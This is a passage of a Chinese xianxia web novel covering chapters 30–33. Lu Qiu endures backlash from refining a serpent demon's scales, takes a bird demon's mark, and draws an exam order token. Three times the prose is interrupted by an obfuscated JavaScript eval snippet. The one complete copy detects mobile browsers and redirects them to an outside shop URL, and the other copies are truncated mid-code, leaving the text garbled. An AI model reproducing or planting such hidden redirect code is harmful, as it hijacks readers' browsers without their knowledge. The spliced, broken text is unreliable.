二人出了服装店,陆秋再三确认自己身上几乎都是妖气后才放心和云栖月慢悠悠的在街市上走。 这里虽然说是黑市,其实和外面也大差不差,毕竟真正危险且稀有的玩意都在拍卖场里,如果运气特别好没准还真能淘到好东西。 “你想买什么?”云栖月随便看了几眼周围的摊子,没有什么想要的,就想看看陆秋买什么。 “你要糖画吗?”陆秋从一旁摊子上取下个小鸟样子的糖画来,将小棍在指尖转了两圈,评价道:“还挺好看。” “那个是五块灵石的。”糖画摊主边熬糖边说:“拿两个的话是八块灵石。” “拿两个吧。”陆秋直接付钱。 “这还有鱼的。”摊主拿着勺指了指另一个糖画:“和你这身挺配的。” “那就一个鸟一个鱼。”陆秋心情好,直接拿下。云栖月本来想着自己要不要买一个,但是想想那种甜腻的味道嗓子已经开始难受了,就站在那里当背景不说话。 “你不要的话我吃两个。”陆秋见他欲言又止的模样一手一个糖画,还故意在云栖月面前晃了晃。 “吃两个会腻。”云栖月也不跟他客套,拿了一个过来:“我帮你分担一个。” 陆秋故意撇嘴,又摇摇脑袋,口中发出啧啧的声音。两人又往前走了几个摊位,陆秋才问云栖月:“你觉得我是什么灵根?” “水灵根?”云栖月吃的快,这会手中就只剩下个木棍了。陆秋伸手放他面前,示意他把木棍递过来。云栖月刚把放到陆秋手掌上方时,木棍就突然自燃起来,他吓了一跳,急忙松手,却发现木棍燃烧的极快,几乎是松手的瞬间就燃烧殆尽,更让他惊讶的是木棍竟然连烧后的灰都没有。 “要不要再看一次?”陆秋手里的糖画也吃完了,平拿着木签,以防扎到别人。 “看。”云栖月立刻回答他:“刚刚没有心理准备。” 陆秋又表演了一次,不过这次他烧的慢了些,以免云栖月看不清。云栖月看完更疑惑了,他转头和陆秋对视,问道:“为什么没有灰呢?” “因为烧的太快,把灰也一同烧了。”陆秋背过手去,故作高深:“你好像没有火灵根,学这个还得费老大的功夫呢。” “灰也能烧?”云栖月第一次听说,他印象中灰都是烧到不能再烧的产物。 “你没生过火吗?”陆秋看他的反应,摇摇头说:“一看就是没怎么做过饭的。” 见云栖月真信了,他叹了口气,在背后悄悄捏了个决,把手里的灰给清掉后继续向前走去。 这个灰怎么可能彻底消失呢。陆秋想笑又憋住了,他只觉得云栖月在某些事情上傻傻的,还挺好玩。 “为什么这么多人会认为我是水灵根?”陆秋又把问题抛给云栖月。 “可能是……”云栖月斟酌着回答:“你长得像?” “怎么能以貌取人呢?”陆秋皱眉:“就算看长相,又怎么分辨是什么灵根的?” “一般水灵根长相就比较阴柔,木土灵根憨厚,火灵根硬朗。”云栖月又补充道:“一般是这样。” 两人绕了一圈也没再买什么东西,头饰偏重导致陆秋脖子都开始酸痛起来,他想了想还是将钗子取了下来。 难怪秋络平时也不带这些东西,都是随便拿根轻便的木簪挽上头发。陆秋向右歪头缓解脖子的不适时,戴在右耳的流苏又扫到脖颈,此时不禁让他有点担心让老头看见该怎么解释。 其实老头也没资格管他去哪里,但不知为什么就是有种怕被发现的感觉。 明明是光明正大的事,怎么还担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你怎么……”云栖月皱眉,问题还未问出口,陆秋就死死抓住他的衣襟,几乎是从牙缝中挤出几个字来:“去找……玖长老……” 离滨水宗还有段距离,云栖月将陆秋打横抱起,大步跑了两步后双翼猛展,直直飞了上去。 云栖月心里苦,他感觉双臂接触陆秋的地方都要被烫熟了,仿佛此刻抱着的不是人,而是一团火,扑不灭它的风最终只会让它燃烧更加剧烈。 我好像……闻到糊味了。云栖月欲哭无泪,远远望见药馆院子中央的玖长老躺在美人榻上晒月光,直接便冲了下去,连缓冲都没有,带着陆秋一同在院子又滚了几圈才停下。 老头被吓得一激灵,心想完了,冲他来的,等尘土散去才发现是一个羽人,还有……还有看起来状态就不对的陆秋。 那羽人双臂一片焦黑,而陆秋的皮肤已经开始呈现鲜红色,还有热气不断上升,衣服都有了要被烧掉的趋势。老头赶忙和那羽人揪住陆秋往一旁的水池拖去,担心陆秋被淹死还好心的没直接把他扔进去,而是在池边把他放了下去。 陆秋刚一入水就像是烙铁般发出刺耳的刺啦声,伴随着白雾不断升腾,整池的水温也在不断上升,烤的人靠近就会觉到难受。老头看到羽人那双臂和前胸焦黑一片,叹了口气从一旁八仙桌下拿出个小药箱,找到药让云栖月涂上。 云栖月小心剥开衣服时五官都紧皱在一起,发现衣物和肉几乎都黏到了一起,撕开一块都在往外冒血。起初还小心翼翼的想着能不撕到皮就行,后来撕了一圈都在出血而且手臂已经酸麻,他干脆一咬牙将整块肉都扯了下来,长痛不如短痛,撕开的瞬间就把药倒上去止血。 两条手臂全都止了血,水池也没有了动静,他探头刚要看里面,就被一只手吓得不轻。手的主人扒着岸边的石头目光呆滞的看着他。两人对望一会,云栖月双臂伤口结痂后俯身把陆秋拉了上来。 陆秋看着是恢复了,刚要开口就“哇”的一声从口中吐出一大口水,又不断咳嗽,听着声音应该是呛到肺中了,云栖月赶忙给他顺气,等对方能正常呼吸了才停下。二人对坐着,直到几声敲桌才将二人的注意拉回来。 老头神色严肃,提醒道:“先回屋去,马上有麻烦来了。” “什么麻烦?”云栖月还被蒙在鼓里,他不知道陆秋炼化了鳞片,更不知道柳容柯今晚会过来。陆秋拉住他的翅膀瘫坐在地上,说道:“先回屋,我给你慢慢说。” 31. 反噬(2) 事已至此,云栖月只能搀扶着陆秋跌跌撞撞按照陆秋的提示回到屋中。他把陆秋扶到床边坐着,摸到对方脊柱还是不同寻常的热,心里大概也猜到了几分。 陆秋斜倚在床头,那股炼化的疼痛又翻了上来,想必就是小鸟所说的反噬。他在心里也骂自己,忘了柳容柯今晚会醒来,还和云栖月出去玩,现在连云栖月都扯了进来。 见他疼的直抽气,云栖月也不好多问,只能搬来椅子坐在陆秋身边,握住他的手腕给他梳理灵脉。两人在屋内都听见了主院的打斗声,陆秋更心虚了,觉得反噬不再那么强烈才小心地问道:“你的伤口还疼吗?” “明天差不多就好了。”云栖月看他没事了,收回手又抹了一遍药:“什么情况?” “就是……”陆秋思索着怎么说能让对方明白:“我炼化了柳容柯的鳞片。” “啊?”云栖月抹药的手一顿,他突然知道了为什么这段时间柳容柯没再出现在五号楼了,不过他也疑惑了:“你不是答应放了他吗,怎么还炼人家鳞片呢?” “他……”陆秋此刻突然意识到有个完美理由能让云栖月站在他这一边,便把原先印在脖颈处的妖纹露了出来,然后什么也不说,就让云栖月自己想。 云栖月看着上面一大块妖纹陷入沉默,他当然知道这是什么,但最终还是叹气说道:“那你也不能……” “可我别无他法了,”陆秋也无奈道:“这个只有他能解开,他自由后大概率是会杀人灭口的,怎么可能还我自由。” “所以你要用相同的办法压制他?”云栖月也想,但貌似陆秋真的只有这一种办法了,只好安慰他:“你就当收了个灵宠吧。” “但是会反噬啊。”陆秋欲哭无泪:“我也不知道会反噬啊,稀里糊涂就炼化了。” 云栖月也不知道怎么安慰他了,直到院中的打斗声消失了,玖长老敲门进来才打破僵局。玖长老身后跟着阴着脸的柳容柯,陆秋被柳容柯的眼神激得一抖,但还是不甘示弱的瞪了回去。 “你俩聊聊吧。”玖长老发话了,云栖月再担心都只能跟着他出去,把空间让给他们二人。 柳容柯坐在他对面的椅子上一言不发,陆秋左胸处的莲花纹像是抚慰似的不断给他传去热量,他才想起莲花仙人这会应该也在注视着这里,心里又有了几分底气,便开口道:“你知道你给我打的烙印吧?” “知道。”柳容柯食指指甲轻掐拇指指腹:“我只提出希望你能够帮助一事,等我自由后自然会给你解开的。” “我凭什么相信你?”陆秋听这话都气笑了:“首先,你不顾我的意见给我打了印记;其次,你混淆印记的概念,你本就心怀不轨,就不要再摆出这副模样来指责我。” “所以呢?现在你有了主导权,你想做什么?”柳容柯同样质问他。 陆秋用手指卷着头发,漫不经心道:“你先说吧,按照你原来的计划,到现在该做什么了。” “我说了你就会信吗?” “酌情考虑。” “哼。”柳容柯拒绝回答,也不再看他。陆秋拿出剩下的鳞片,走到柳容柯面前,将鳞片放在他的掌心,双手握住他的手,凑得极近道:“你看,仅仅是这样就能让你撕下那层伪善的皮,我又怎么能信任你呢?” 柳容柯脸黑的和外面的天色可以相媲美了,另一只手握住陆秋的手腕用力一拉,把对方拉的一个踉跄,一条腿跪在椅子上,然后用近乎威胁的语气问他:“反噬的滋味尝到了?” “不过如此嘛。”陆秋这会又装的和没事人一样,不过心里也打起了小算盘。 “不过如此?”柳容柯冷笑:“这种反噬一月一次,想必您一定可以独自承受对吗?” 陆秋脸色变了,笑容也维持不下去了,他一把揪住柳容柯领子:“我怎么听说,你如果不作妖,我就不会有反噬呢?你猜猜,如果我让你直接魂飞魄散,我还会有反噬吗?” 笑容仿佛是会转移的,柳容柯此刻竟笑了起来:“来啊,让我魂飞魄散,比起让我呆着给你当奴隶,你还不如直接了结了我。” 陆秋欲言又止,他本也没想过要让柳容柯去死,而且他也没有让人伺候或者虐待别人的爱好,他只想着柳容柯不给他造成威胁就足够了,其他的都没有考虑。 貌似是看出他的迟疑,柳容柯突然把他掀到床上一只手摁到陆秋锁骨处死死制住他,蛇信在陆秋耳边扫过:“你有这么多的靠山,怎么还担心我对你造成的威胁呢?” 柳容柯还在喋喋不休的说着,而陆秋呆呆地躺在床上,他也没想着挣扎,这一晚上发生的太多,再加上对方声音低沉,竟然给他说困了,只记得最后一句是“我不会放过你”然后就失去意识睡着了。 柳容柯也沉默了,有点不可置信的掐了几下陆秋的脸,发现对方真的睡着了,不禁又给他一次沉重的打击。 和一个睡着的人没什么好说的,还不如快些把剩下鳞片中的力量吸收回去。他气得磨牙,又不能做什么,恶狠狠的拉过被子给陆秋裹上,企图在凉爽的夏季凌晨热死陆秋。 云栖月和老头在门口也聊了几句,不过都是些不重要的话题,没过多久就见柳容柯面无表情飞快出了门。云栖月往里看去,发现陆秋睡着了,心里对陆秋的敬畏又上了一层,觉得这种事都能轻易摆平,还能呼呼大睡,绝对是个值得深交的对象。 说是凌晨,但这么一折腾都要天亮了,老头没赶他,而是让他去了二楼的病房将就一下,什么事明天再说。 “那您呢?”云栖月毕恭毕敬问道。 “老头子要睡觉。”玖长老大手一挥把门关上了,就云栖月自己在院中不知所措。 “行吧。”他自言自语着,闲的没事,也只好去客房休息一下,等着都睡醒了再说。 陆秋一觉醒来只觉舒适了不少,他望着天花板,回忆着自己昨天应该是叠了被子的,应该是柳容柯走前给他盖上了。 他妖还挺好的。陆秋这么评价着,他要是生气得把人家扒了让对方冻上一整晚。他伸了个懒腰,想到目前应该没有什么事情了,导致他一时也不知该做什么了。直到窗户被敲了两下,他才懒散的倚在墙上伸出只手把窗户开了条缝隙。 “醒了?”外面是倒吊着的云栖月,见他开窗,双手便抓住窗沿一个翻身进了屋。陆秋见他进来,又立刻把窗关上了。 云栖月看着他突然有种危机感,但又说不上来哪里的危机,只能干巴巴的问道:“不开窗通风吗?” “有些话不太方便敞开窗子说。”陆秋眨眨眼,依旧窝在床上。 “说什么?” “你可以给我一个烙印吗?”陆秋直接问他。 “啊?”云栖月感觉翅膀上的羽毛都炸起来了,吓得他口齿不清:“什么……什么东西?” “烙印,就像柳容柯那样的。”陆秋又露出那块属于柳容柯的妖纹:“他的反噬太强了,你给我一个印记就可以压制许多。” “我……”柳容柯不知是紧张还是什么原因,用力吞了吞口水,“我还没这样干过。” 陆秋当然不会这么随便,哪怕是头疼,也要用读心术好好听听这个盟友的想法。 “他本就有玖长老撑腰,如今又有蛟作灵兽,在陆家的地位绝对低不了,若是能结盟,也是一件好事。” 听到这里陆秋一愣,他本觉得云栖月会是意气用事的人,结果说到底还是靠利益维系关系,不由一阵反感,便在心中安慰自己:眼下柳容柯才是要紧的,打了印记能抑制便成,待没了用处,便让自己竹马给洗掉就是。 “你知道怎么印吗?”陆秋心意已决,直接把领口扯开,指着右方干干净净的脖颈说:“你印这里,还对称。” “不不不。”云栖月都要给陆秋跪下了:“咱俩是友人,这玩意和奴印差不多的,怎么能给你印……” “那就换一个。”陆秋又想起一个:“你们不是有专门联系的那种印记吗?” “有……” “就印那个,只要我这里有你的妖力存在就可以。”陆秋一拍手,从床上爬起向云栖月走去。云栖月吓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆秋已经忍到紧咬牙关的程度了,云栖月不像柳容柯的牙齿那般尖锐,导致在咬破并将妖力注入的整个过程无比漫长,虽然不是很疼,但难免有种不上不下的难受。等云栖月放开他时,他感觉后背的衣物已经被冷汗浸湿了。从桌上放的镜子可以看见自己脖颈右侧已经有了个圆盘状的妖纹,里面由三根羽毛首尾相接拼为了小圆。 “谢谢。”陆秋用灵力遮住妖纹,低头整理衣服,错过了云栖月有点遗憾的眼神。 “不必。”云栖月低咳:“你试试,我们应该是可以心通了。” 陆秋还没试过这种心通,便按着云栖月说的方法,只觉得云栖月的妖纹隐隐发烫,脑海中就涌出了对方的声音。 “好了,我会了。”陆秋明显是高兴的,连头痛也减轻了几分。他第一次感受到没有秋络的安排,自己去编写人生的乐趣。 楼上传来哒哒哒的声音,二人向上看去,陆秋提醒道:“可能会有些超出你认知的东西,你要看吗?” “有什么是超出我认知的?”云栖月恢复了吊儿郎当的模样,不信道:“带我去看。” 陆秋想的是石像小鸟又在上面跳,谁知当打开门却发现了正捧着书看的莲花仙人。陆秋心里突然庆幸此刻的莲花仙人是和他差不多大的少年模样,不是前两次见的巨大的样子。 至少不会吓到云栖月。他偷瞄了眼云栖月,发现他的目光在一旁的小桌上,便也跟着看去。 是小鸟啊……陆秋突然反应过来,小鸟此刻是石像,石像吃点心不觉得太怪了吗。 “这是?”云栖月不认得莲花仙人,对眼前一幕有些怀疑,转头问陆秋。 “也是这里的常客。”陆秋打着哈哈,让莲花仙人自己编一个身份。 莲花仙人不紧不慢用灵力隔空抬起茶壶给二人斟了茶,等二人坐下才说道:“我是西窗月,在这里打杂的。” “打杂?”云栖月这才注意到他的衣服,貌似和他的身份真的十分匹配,但这种气质无论怎么看,只让打杂都是暴殄天物了。 “这些可以随意看吗?”云栖月扫视这些书,偷师的心思蠢蠢欲动。 “都可以看,”莲花仙人点头:“只是没多少人愿意看,里面的内容晦涩难懂。” 云栖月没有回答,他在莲花仙人同意时就去挑选书籍了,留下陆秋与对方面面相觑。陆秋被他盯得有些不自在,不知对方在笑什么,开口问他:“怎么了?” “没什么。”莲花仙人品了口茶,慢悠悠说道:“今天一早就看了出好戏。”说完,他意味深长的朝陆秋脖颈看了一眼,成功把陆秋看得拢上衣领,羞得耳垂也泛起了不自然的红来。 “可以,至少有脑子了。”莲花仙人给予肯定:“干得不错。” 32. 考核(1) 陆秋摸到胸口,这才想起来他在不知情的时候被莲花仙人也打上了印记,他捂着胸口,问道:“你什么时候给我印上的印记?” “昨晚。”莲花仙人的笑意更深了:“不过是个临时的,现在已经消失了。” 陆秋心下存疑,但也不好当着别人的面脱掉衣服查看,便问:“他们都是需要血液和妖力注入的,你是怎么做到的?” 莲花仙人食指有节奏的敲着桌面,指甲与木头碰撞发出哒哒声,回道:“他们能够与我相提并论吗?” 陆秋像是突然感受到了危险,意识到面前人无论再怎么平易近人都是地上神,还是会歧视其他种族的。想到这里,他连忙道歉:“不能,抱歉,我只是想知道……”他卡顿了一下:“您是通过什么方法打上印记的。” “有灵力就够了。”他单手托腮:“你体内大部分也是灵力,交融还是挺简单的,你一个不注意就能打上,不过想印永久的还是得要血液的。” 陆秋像是在思考着什么,但又放弃了,把话题转移到另一边:“您这个身份是做什么的?” “在人间走走。”他回答:“本体总是不方便出来的。” 那可太不方便了。陆秋抑制住嘴角抽动,前几次用本体见面的那种压迫感不知道的还以为是要他的命呢。 “听老头说浮海城以前还有位大能,您知道他去哪里了吗?” “不知道。”莲花仙人摇头:“他是什么很重要的人吗?” “只是听说他做了很多东西……” “那又如何呢?”陆秋话还未说完就被打断:“他最多就是个工匠,被人捧的太高,倒是不知轻重了。”陆秋不明白到底怎么不知轻重,所以就闭了嘴听对方说。 “他也不过是把现成的东西搬到另一个地方,就受到这种追捧,多少有些不公平了。” 陆秋听得一头雾水,不知道对方到底是在打什么哑迷。但莲花仙人貌似不想再说了,只是打了个响指,那边说着想找书的云栖月就叹着气回来了。 “没有想看的书吗?”莲花仙人靠在椅背上,语气懒散的自问自答:“你又不学医,自然找不到想看的书。” 云栖月点点头,陆秋这会才发现他的状态不太对,像是没回过神来,他在云栖月面前挥挥手,发现对方也没有什么动作,只是盯着地板。陆秋看向莲花仙人的方向,发现人早就不见了。 “怎么了?”云栖月突然开口,疑惑的看着他。 陆秋为了印证心里的猜想,装作若无其事的模样问:“没有想看的书吗?” 云栖月也是很自然的表情,回答道:“我又不学医,自然找不到想看的书。” 听到这话,陆秋感到一阵寒意直冲天灵盖,他不知自己是否也被这样催眠过,以后会不会也被这样玩弄于股掌之间。这个瞬间他又不断回想和老头相处的这么多天,是不是老头也遇到过被催眠的他,在一次次的重复中失去了那点生气。 “你什么时候搬回去?”云栖月看他不说话,主动提出可以先帮他搬些东西回去。 “看看吧,我还得先给玖长老说一声,而且柳容柯那边还没有处理完呢。”陆秋叹气,又想起柳容柯那个让人头疼的存在。 “那我先回去了,最近宗门有考核的,你也得准备了。”云栖月提醒:“这是新掌门第一次举行的考核。” 陆秋沉默片刻,拍拍云栖月肩膀:“多谢,我差点忘了。”不能说是忘了,而是他根本不知道有考核这事,往常家族考核是在冬春之交,谁知滨水宗考核竟在盛夏。 我又不在滨水宗长住。陆秋这么想着,考核能有多难?实在不行让老头出手捞嘛。想到这里他又轻松了,正所谓压力都是自己给的,只要不去想,就没有压力,他一向不会难为自己的。 目送云栖月飞回去,陆秋也懒得装了,回屋把门关好再贴上隔音符,无奈的看着已经坐在自己屋内的柳容柯开口:“你恢复完了?” “哪有这么快。”柳容柯像是接受了事实,也没有昨天那样肆意散发着敌意:“你可真行,别人说什么你做什么。” “分明是我也走投无路了,你为什么不想想我也是受害人呢?”陆秋换了种角度劝说:“我完全处在被蒙蔽的状态之中,你早些给我说明了,不就不会有这么多的事情了吗?” 柳容柯还想再说什么,陆秋不让他说,直接道:“是你先把我扯到这麻烦中的,是你有错在先,我现在和你好好说话,你不要带这么大的怨气。” 柳容柯果然收敛了不少,毕竟炼化了鳞片的陆秋此时算他半个主人,说话多少都会带有命令与强制性。陆秋看他听话,又说:“现在重要的是向前看,我没有拿人当奴隶的爱好,你也不必担心我会做什么,我又不是你老婆,天天管这管那的。” 柳容柯一愣,不知为何竟从他脸上看出来一言难尽的表情来:“我又怎么能相信你?” “信不信由你。”陆秋翻了个白眼:“主动权在我这里,你也没资格怀疑我。” 不过有便宜不占是王八蛋,柳容柯让他吃的苦头不少,他也不会这么轻易就放过对方,有些小得意的倚在门框上:“平时你做你的事,我需要你的时候会叫你的。” “你什么时候需要我?”柳容柯一颗心都提到了嗓子眼。 “可能晚上睡不着需要你讲故事?”陆秋故意逗他,看着对方一脸“你真是没事找事”的表情笑出了声,赶忙安慰道:“骗你的,我才没那么无聊,反正打架的时候可能会叫你出来。” “我希望打架的时候也别叫我出来。” “你想得美。”陆秋笑眯眯的驳回他的想法。 柳容柯叹气,心说真是惹到瘟神了,之后虽说能好过一点但估摸着也好不到哪里去。他又瞟到了床头柜,狠狠瞪了眼里面正在偷看的一尊小石像。 杜漓像往常那样打开窗子,用力深吸一口窗外清新的空气,只觉得五脏六腑都有一阵清凉流过。 夏天是格外富有生命力的季节,应该在炽热的阳光下尽情飞翔,体验那种被照射的刺痛,像是要被活活烧死的那种疼痛。想到这里,他又悄悄在窗沿上磨着过长的指甲,尽量不打扰熟睡中的褚浣。前几次见过刚睡醒的褚浣,怨气大的像是要把他给活剥了,而且一个不好就又摔又砸,连云栖月都直接飞到外面躲着刚起床的褚浣,自己更是不能触了这个霉头。 无论是人还是妖,都应保持一定的警惕,尤其是在这个危险的地方。正当杜漓想要关窗穿上外衣的时候,寝室门被柳容柯直接一脚踹开,反弹到墙上又发出巨大的响声,震得放在一旁柜子上的绿萝在原地转了两圈后盆被摔得粉碎。 完了。杜漓大脑一片空白,可能是本能,也有可能是经历过于惨痛而有的反应,他立刻蹲下躲过了直直飞过来的砚台,又顺势往自己床边一滚,躲过一个挂满了笔的笔架。陆秋从柳容柯身后缓缓探头和杜漓打了个招呼,先是注意到了脏乱的地面,后又缓缓移到了正坐在床上披头散发的褚浣身上。 “这和男鬼有什么区别?”陆秋悄声和柳容柯嘀咕。 柳容柯没理他,径直走到陆秋的床铺,把东西往地上一放,动作干净利索几下就把床单被褥抱起,又把枕头扔给还站在门口的陆秋:“今天阳光好,晒一晒这些东西。” “还用晒?”陆秋拿着枕头皱眉:“我是火灵根,不会有爬虫靠近的。” “你是土灵根都不行,不怕虫子,你铁皮啊?”柳容柯骂骂咧咧:“一个月了都不换这些东西,邋遢死你完事。”他抖抖上面并没有的灰尘,陆秋这才十分不情愿的和他一起下楼去找杆子晒被褥。 好像忘了什么。陆秋把枕头调到了一个好方向,往上一看发现杜漓还没关的窗户,突然听到屋内又是一阵剧烈的噼里啪啦的声音,其中还夹杂着杜漓的尖叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395950|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆秋站在原地愣了一会,直到没了动静才和一旁的柳容柯对视一眼,决定回去看看怎么回事。 “你还是等一会再进去。”柳容柯开口提醒他。 “为什么?”陆秋疑惑。 “因为褚浣脾气挺大的,他不爽时谁都打。” “啊?”陆秋傻眼了,他一直觉得褚浣是那种比较温和的人,脾气再大也不能大到哪里去,所以这么一听说,从心底还是不太相信柳容柯的。但是听劝也不是什么坏事,他们就在门口站了大约一刻钟才进屋。 探头往里一看,褚浣周身气压低得都快把一旁打扫的杜漓压死了,杜漓看见他们,嘤嘤着就往陆秋这里迈着小碎步过来了。他像是有什么顾虑,到了陆秋身边还回头看了眼褚浣,就见褚浣黑着脸盯他:“告状啊。” “没没没。”杜漓疯狂摇头,都能听见他耳羽扇动发出的哗哗声。 褚浣不再说话了,而是把头转向窗外看风景,杜漓则是拉着陆秋的袖子小声说:“兄弟这么久不见了,出去散个步聊聊?” 陆秋和柳容柯对视一眼,柳容柯立刻回答:“我还要守楼,你俩出去吧。” 懂事。陆秋在心底这么夸了一句柳容柯,想着这些天都没有事情,出去和杜漓聊聊也挺好。 二人刚出了楼,就看见拐角处云栖月怀中抱着什么东西回来了,杜漓叫住云栖月,说褚浣心情不好,暂时还是不要回去比较好。 云栖月点点头,把怀中的布袋放开了个小口,让二人从中拿一个。 “里面是什么?”陆秋不信云栖月会害他,但还是问了一句。 “试炼的顺序牌。”云栖月简单总结了一下:“张掌门让送的,我负责这栋楼。” “怎么又是你啊?上次发布公告也是让你去的,你不会是关系户吧。”杜漓已经从中捞了个出来,发现木牌上一个明晃晃的“七十七”松了口气:“还好还好,中规中矩。” 云栖月笑道:“怎么可能,我要是关系户我就自己住大房间了,陆秋,你拿一个。” 陆秋听他胡说,自己脸上也带上了些笑意,他随意摸了个牌,想着排后面挺好的,排前面的话会收到许多关注的。他把牌一翻,脸上的笑都顿住了。 “多少?”柳容柯和杜漓一边一个看他的牌子,只见一个“三”,两人都有些忍俊不禁。云栖月下唇都快咬烂了才没让笑声出口,他拍拍陆秋肩膀安慰他:“没关系,早死早超生嘛。” “放轻松,也许长老没看清你就过去了呢。”杜漓也安慰他。 “是我的试炼过去了还是我过去了啊!”陆秋只觉得手中的牌子有千钧重,还十分扎手,他一脸绝望的看着云栖月:“我能重新抽吗?” “不能,这个袋子有禁制,一个人只能拿一次。”云栖月遗憾的拒绝了他。 “那能换吗?” “这……”云栖月眼珠一转,做出为难的样子:“只怕……别人不换。” 二人同时看向杜漓,杜漓吓得耳羽都炸开来,将牌子在怀里紧紧抱着,一双眼睛透着惊恐,大喊道:“好哇!你害我!” “七十七还是太靠前了。”陆秋摇头:“我记得好像有六百多人需要试炼吧?” “差不多。”云栖月点头。 “你的号是多少?”陆秋询问。 “我不抽的,最后的一个号才是我的。” “为什么?为了公平吗?”陆秋皱眉:“不对,也没公平到哪里去啊,每个人只能摸一次,你是发牌子的也只能摸一次。” “因为这个牌子不能被收到芥子空间的。”杜漓解释:“为了确认你是参加试炼的人,就必须把牌子拿在手里或挂身上,发牌子的也得栓腰上。” “栓腰上容易被摸走。”云栖月这么一说,陆秋就明白了,他一拍脑袋看向云栖月:“那我给你保管。” “啊?”云栖月的脑子停止了转动。 33. 考核(2) “你想要几号?”陆秋问他。 “都可以。”云栖月回答。当然都可以,首先他的实力绝对能出色的通过,其次掌门也不会给他出难题,毕竟不能让他面子上过不去。其实对他来说号码越靠前越好,这样无论试炼是难或简单都可以作为一种调试,不会让太多的人怀疑他。 怀疑又如何?云栖月从心底发出嗤笑,只怕那些在背后嚼舌根的家伙一生结束都无法到达他的起点,就连怀疑都成为了无关痛痒的东西。 杜漓看不出来,只能看见他表面上自然的神情,但陆秋死死咬着后槽牙,企图把头痛与对方的想法赶出大脑,他读心读到的东西可真是让他惊讶,若是不会读心,大概率也得被云栖月无害的模样骗过去。 “你抽一个吧,咱俩换换。”陆秋也装作自然。 “为什么要换?”云栖月故意逗他。 “你要是不换那就算了吧。”陆秋仰天长啸:“我这么靠前,容易过不去,然后被逐出滨水宗……” 云栖月哭笑不得:“好好好,我抽一个。”他话音刚落,陆秋就停止了哀嚎,两人期待的围在他旁边看他抽牌子。 最终他在陆秋期待的目光中抽到了个“一”。 三人面面相觑,谁都发不出声音,云栖月拿着牌子在陆秋面前晃了两下,问道:“换吗?” 陆秋头都摇成拨浪鼓了,甚至还有残影:“不换了不换了。” “行吧。”云栖月叹气,要把牌子往腰带上挂,陆秋拦住他:“不用我保管吗?” “都想往后面排,谁要我这个一啊?”云栖月摆手:“要是抽个五十往后的还得思考一下,这第一个人家看一眼都得觉得晦气。” “好好好。”陆秋点头。 “我先去送牌子了,你们去哪里?”云栖月撇嘴:“我送完去找你们?” “就随便走走。”杜漓回他:“一会就回去了。” 见云栖月回去,二人顺着楼旁的小道开始散步,起初杜漓想走大路,但路上没有个遮阴地,光是被晒都觉得皮疼,所以陆秋就拉着他走了小路。 “刚刚褚浣是打你了吗?”陆秋带着八卦的心思问他。 “打了,贼疼!”杜漓五官都扭曲到一起,看着就疼。 “打的什么样子?” “看不出来的。”杜漓摆手:“很神奇,每次打的都特别疼,但是根本没有印,你想说也没证据。” “打哪里?没准我知道为什么能留不下印子呢。”陆秋来了兴趣,也许褚浣也是学医圣体呢,打人都不带让你告状的。 “哪都打,逮哪打哪。”杜漓噘嘴:“你被打就知道了。” “我为什么会被打?” “因为他起床气大。” “那避开就好了啊。”陆秋想想自己的作息时间,还真碰不上褚浣,便也没放在心上。 杜漓无语了,叹气道:“你不知道,这段时间滨水宗都乱成一锅粥了,我们的课也都取消了,长老也走的走,闭关的闭关。” “为什么?”陆秋假装不知道。 “新掌门想换人呗。”杜漓看起来特别生气:“而且那批执事弟子也换了,你不知道多嚣张。” “细说。”陆秋一听有事就走不动道了,靠在一旁的墙上就等着杜漓讲。 “我在课上遇到的一个妖和我一个种族,所以我俩就成了朋友。有一天他要打扫院子,那个兔子硬说不干净,让他扫好几遍,故意欺负妖的。” “这都不举报?”陆秋挑眉。 “那兔子是新上的执事弟子,举报了没他好果子吃,所以他就当解闷把这事给我说了。”杜漓说到这里气得“哼”了一声:“你说巧不巧,刚好被那个兔子的朋友听着了,觉得我俩骂他呢,就扭头告诉了那兔子。” “他们这不得找事?” “找了,那兔子直接说让我们下午去院子,要给我们道歉。” “道歉?”陆秋更惊奇了:“还能道歉,不错了。” “道个屁的歉!”他双手叉腰踱步:“我俩一起去的,就见一院子的妖,见我们去了就把我们围住,那兔子站中间一脸拽样,还‘我给你道歉行了吧?’” 他真被气急了,学那兔子的语气语调把陆秋听笑了:“还有么?” “我们当然不接受啊!道歉也没个样,纯粹恶心我们的,我们不是不能在滨水宗动手吗?他们就搁那儿开始骂了,要多难听有多难听,跟他妈鬣狗样,只敢组团出来的贱东西!” 好骂。陆秋心底给他鼓掌,不过执事弟子都这个样子,滨水宗的发展确实令人担忧。他已经开始盘算着离开了:“不就是新官上任三把火吗。” “就是的,有点小权利就给他厉害的,离了滨水宗我看他怎么牛。” “对了。”陆秋转移话题,他总觉得褚浣身上还有很多秘密:“褚浣每天睡觉时间是不是特别多?” “至少睡半天。”杜漓给出答案:“他说自己生病的原因,体力消耗特别快,得睡觉。” “生什么病?” “骨癌。”杜漓在肋骨处比划两下:“据说是只有一根不好,给移除了,但是为了对称就把另一边的也切了,好像是没有处理好,又引发感染,就又切了两根。” “切了四根?”陆秋惊讶:“那内脏怎么办?” “不知道,反正他每天都穿着束腰,而且平时能躺着就不起来,起来了也是弯着腰,基本不让腰部用力。” “那也太惨了。”陆秋倒吸一口凉气:“不对啊,骨癌的话按他的能力,能净化掉啊。” “他说那时他还没修仙呢。” “那难怪。”陆秋摇头,怀疑虽然还是有,但打消了许多,又问起试炼的事情。 “你不要担心,试炼就是给你专门开一个秘境,你进去通关就可以。” “还有秘境?”陆秋感到不可置信。 “对啊,随机抽秘境和任务,通关就行。” 